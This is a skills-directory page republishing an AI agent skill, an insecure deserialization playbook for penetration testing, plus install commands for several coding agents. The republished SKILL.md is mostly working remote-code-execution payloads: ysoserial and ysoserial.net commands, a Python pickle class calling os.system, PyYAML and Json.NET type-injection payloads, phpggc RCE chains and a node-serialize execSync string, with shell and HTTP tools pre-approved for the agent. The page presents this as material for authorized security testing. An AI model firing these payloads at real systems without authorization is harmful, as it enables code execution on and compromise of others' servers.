Deserialization Testing
NeoTheCapt/RedteamAgent
Insecure deserialization detection and gadget chain exploitation
Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.
$ npx skills add PentesterFlow/agent --skill deserialize -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install PentesterFlow/agent deserialize --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/deserialize .claude/skills/deserialize && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .claude/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/PentesterFlow/agent/tree/main/skills/deserializeType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add PentesterFlow/agent --skill deserialize -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install PentesterFlow/agent deserialize --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/deserialize .agents/skills/deserialize && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .agents/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add PentesterFlow/agent --skill deserialize -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install PentesterFlow/agent deserialize --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/deserialize .cursor/skills/deserialize && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .cursor/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/PentesterFlow/agent.git --path skills/deserialize--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add PentesterFlow/agent --skill deserialize -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install PentesterFlow/agent deserialize --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/deserialize .gemini/skills/deserialize && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .gemini/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install PentesterFlow/agent deserializeInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add PentesterFlow/agent --skill deserialize -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/deserialize .github/skills/deserialize && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .github/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add PentesterFlow/agent --skill deserialize -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install PentesterFlow/agent deserialize --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/deserialize .opencode/skills/deserialize && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "deserialize" agent skill from https://github.com/PentesterFlow/agent/tree/main/skills/deserialize into .opencode/skills/deserialize/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "deserialize", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
deserializeFingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.
Given a suspicious serialized blob or a parameter or cookie that looks deserialized, this skill starts by fingerprinting its format from magic bytes and markers - an `rO0` prefix for Java, an `AAEAAAD/////` prefix for .NET BinaryFormatter, a `__VIEWSTATE` field for ASP.NET Web Forms, `gASV`, `gAR` or `gAP` prefixes for Python pickle, `O:` for PHP serialize, Node's node-serialize IIFE pattern, or `!!` type tags in YAML.
Once the format is known it walks through building a gadget chain for that ecosystem: ysoserial chains such as CommonsCollections1 through 7, Spring1 or Spring2, or JRMPClient for Java; a URLDNS chain first to confirm the bug exists via a DNS callback before attempting code execution; ysoserial.net for .NET and ASP.NET ViewState when the view state is unprotected or its MAC key is weak; and the matching tools for PHP, Python and Node payloads.
It insists on using real captured parameters, cookies, keys and callback hosts rather than placeholder values, and asks once if something like a key or sample blob is missing instead of guessing.
7 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 0759d87. It shows what the files ask for, not the result of running them.
Pre-approves these tools, so the agent can use them without asking each time:
httpshellread_payloadsfile_writeFrom allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
javacurlFrom the folder's file list and the shell code blocks in SKILL.md.
Links to these hosts (documentation or services it may open):
github.comFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Insecure Deserialization Playbook loads about 1.7k tokens when it runs. Until then it costs about 101 tokens; SKILL.md has 591 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from PentesterFlow/agent at commit 0759d87, republished under its Apache-2.0 licence (© PentesterFlow). 591 words, ~1,652 tokens.
.claude/skills/deserialize/SKILL.md (or your agent's skills folder).You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.
Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.
| Magic | Format |
|---|---|
rO0 (base64 of \xac\xed) | Java serialized |
\xac\xed\x00\x05 (raw) | Java serialized |
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff | .NET BinaryFormatter |
__viewstate / __VIEWSTATE cookie or form field | ASP.NET ViewState (often LosFormatter/BinaryFormatter underneath) |
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03) | Python pickle |
O: (e.g. O:8:"stdClass":0:{}) | PHP serialize |
_$$ND_FUNC$$_ / IIFE patterns | Node node-serialize |
!! tags inside YAML / !!python/object | YAML with type resolution (PyYAML, SnakeYAML) |
BSON / BinData | MongoDB BSON — deserialization paths usually safe; check anyway |
Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.
Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).
# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"Chains worth iterating through (depends on classpath):
CommonsCollections1..7 — Apache Commons Collections.Spring1, Spring2.JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).Confirm-first workflow: start with URLDNS against a DNS canary. If you see the DNS hit, you have insecure deserialization. Then try RCE chains.
If __VIEWSTATE is not MAC-protected, or the MAC key is leaked / weak / default, use ysoserial.net:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
--path="/Default.aspx" --apppath="/" \
--validationkey="<KEY>" --validationalg="HMACSHA256"Confirming whether MAC is enforced: send __VIEWSTATE=AAEAAAD/////AQAAAAA= (a truncated stub). A ViewState MAC validation failed exception means MAC is on; a clean 500 deserialization stack trace means it's likely off.
If you see Json.NET with TypeNameHandling = Auto/Objects/All, you can put $type in the payload:
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}Toolkit: ysoserial.net (https://github.com/pwntester/ysoserial.net) — covers BinaryFormatter, ObjectStateFormatter, NetDataContractSerializer, etc.
If you can submit raw pickled bytes (cookie, form, file upload, message queue payload), RCE is trivial:
import pickle, os, base64
class E:
def __reduce__(self):
return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())Then submit base64 (or raw bytes, depending on transport).
Variants:
__reduce_ex__ instead of __reduce__ when targeting specific protocols.pickle.loads on protocol-5 with out-of-band buffers — different surface.!!python/object/apply:os.system ["id"]Or:
!!python/object/new:os.system ["id"]Modern PyYAML defaults to SafeLoader — only yaml.load() (no Loader arg) on old versions is vulnerable, but plenty of code still uses yaml.load(...) explicitly.
If user input lands in unserialize(), look for POP (Property-Oriented Programming) chains: existing classes in the codebase with __wakeup / __destruct / __toString magic methods that can be chained.
Toolkit: phpggc (https://github.com/ambionics/phpggc).
phpggc -b Symfony/RCE4 system 'id' # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfoVariants worth trying:
O:8:"stdClass":0:{} — confirms unserialize() works at all (no exception).file_exists("phar://...") etc., not direct unserialize input. Look for Phar, file_exists, is_file with attacker-controlled paths.The npm node-serialize package's unserialize() accepts function strings prefixed with _$$ND_FUNC$$_ and evals them:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}This is a one-shot — modern code rarely uses it.
Pickle / yysoserial / phpggc all support a DNS or HTTP callback gadget (e.g. URLDNS for Java, simple system("curl ...") for the others). Use those to confirm deserialization happens before firing real exec — easier to attribute, smaller blast radius.
Once confirmed, the exec PoC should:
id and capture stdout, OR/etc/hostname) and surface its content.Don't drop a reverse shell on a real engagement without explicit written authorization.
Required:
id (or equivalent proof) and the matching server response.© PentesterFlow, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/deserialize of PentesterFlow/agent.
Open the folder on GitHubat commit 0759d87
Insecure Deserialization Playbook next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Insecure Deserialization Playbook this skillPentesterFlow/agent | 1.4k | — | ~1.7k | Automated safety check: Pass | Apache-2.0 | |
| Deserialization TestingNeoTheCapt/RedteamAgent | 140 | — | ~836 | Automated safety check: Pass | None | |
| Code Audit3stoneBrother/code-audit | 893 | 1 repos | ~2.7k | Automated safety check: Pass | None | |
| Security Reviewgithub/awesome-copilot | 40k | 1 repos | ~2.3k | Automated safety check: Notes | MIT | |
| Xslt Injectionlangbyyi/CyberStrikeAI-SRC | 133 | 1 repos | ~3k | Automated safety check: Pass | Apache-2.0 | |
| Hunt DeserializationEncod3d-Sec/TORCH | 329 | — | ~1.7k | Automated safety check: Pass | MIT |
NeoTheCapt/RedteamAgent
Insecure deserialization detection and gadget chain exploitation
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
github/awesome-copilot
AI-powered codebase security scanner that reasons about code like a security researcher — tracing data flows, understanding component interactions, and catching vulnerabilities that pattern-matching…
langbyyi/CyberStrikeAI-SRC
XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces.
Encod3d-Sec/TORCH
Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node.
Dynatrace/dynatrace-for-ai
Service performance monitoring with RED metrics (Rate, Errors, Duration) and runtime-specific telemetry for Java, .NET, Node.js, Python, PHP, and Go.
PentesterFlow/agent
Maps the attack surface of a web domain you are authorized to test: confirms scope, lists subdomains from public sources, probes live hosts and fingerprints technology.
PentesterFlow/agent
Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…
PentesterFlow/agent
Subdomain takeover playbook — sweep subdomains for dangling CNAMEs / NS records pointing at unclaimed third-party resources (GitHub Pages, S3, Heroku, Azure, Netlify, Shopify, ...), confirm with the…
PentesterFlow/agent
Web vulnerability hunting playbook. An agent skill from PentesterFlow/agent.
Categories
Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization. ` type tags in YAML.
Insecure Deserialization Playbook fits situations like: testing a cookie or parameter that appears to carry a serialized object; confirming insecure deserialization with a DNS callback before trying RCE; building a ysoserial or ysoserial.net gadget chain for a target.
Run `npx skills add PentesterFlow/agent --skill deserialize -a claude-code`. Or copy the skill folder (skills/deserialize in PentesterFlow/agent) into .claude/skills/deserialize in your project. Claude Code loads it when a task matches its description.
Run `npx skills add PentesterFlow/agent --skill deserialize -a codex`. Or copy the skill folder (skills/deserialize in PentesterFlow/agent) into .agents/skills/deserialize in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add PentesterFlow/agent --skill deserialize -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/deserialize, .gemini/skills/deserialize, .github/skills/deserialize and .opencode/skills/deserialize in your project.
Going by SKILL.md and its folder, Insecure Deserialization Playbook needs the command-line tools its instructions call (java and curl). Our summary lists: ysoserial, ysoserial.net or phpggc for payload generation; A captured sample of the serialized data. Its frontmatter pre-approves these tools: http, shell, read_payloads, file_write.
SKILL.md names 1 domain. As links in the text: github.com. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Insecure Deserialization Playbook is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 1.7k tokens (SKILL.md is roughly 6.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Insecure Deserialization Playbook: Deserialization Testing (NeoTheCapt/RedteamAgent, 140 stars), Code Audit (3stoneBrother/code-audit, 893 stars), Security Review (github/awesome-copilot, 40k stars) and Xslt Injection (langbyyi/CyberStrikeAI-SRC, 133 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
PentesterFlow (a GitHub user) maintains it in PentesterFlow/agent, which has 1,389 GitHub stars. The repository holds 5 skills in this directory. The repository was last updated on August 31, 2026.
Source: PentesterFlow/agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.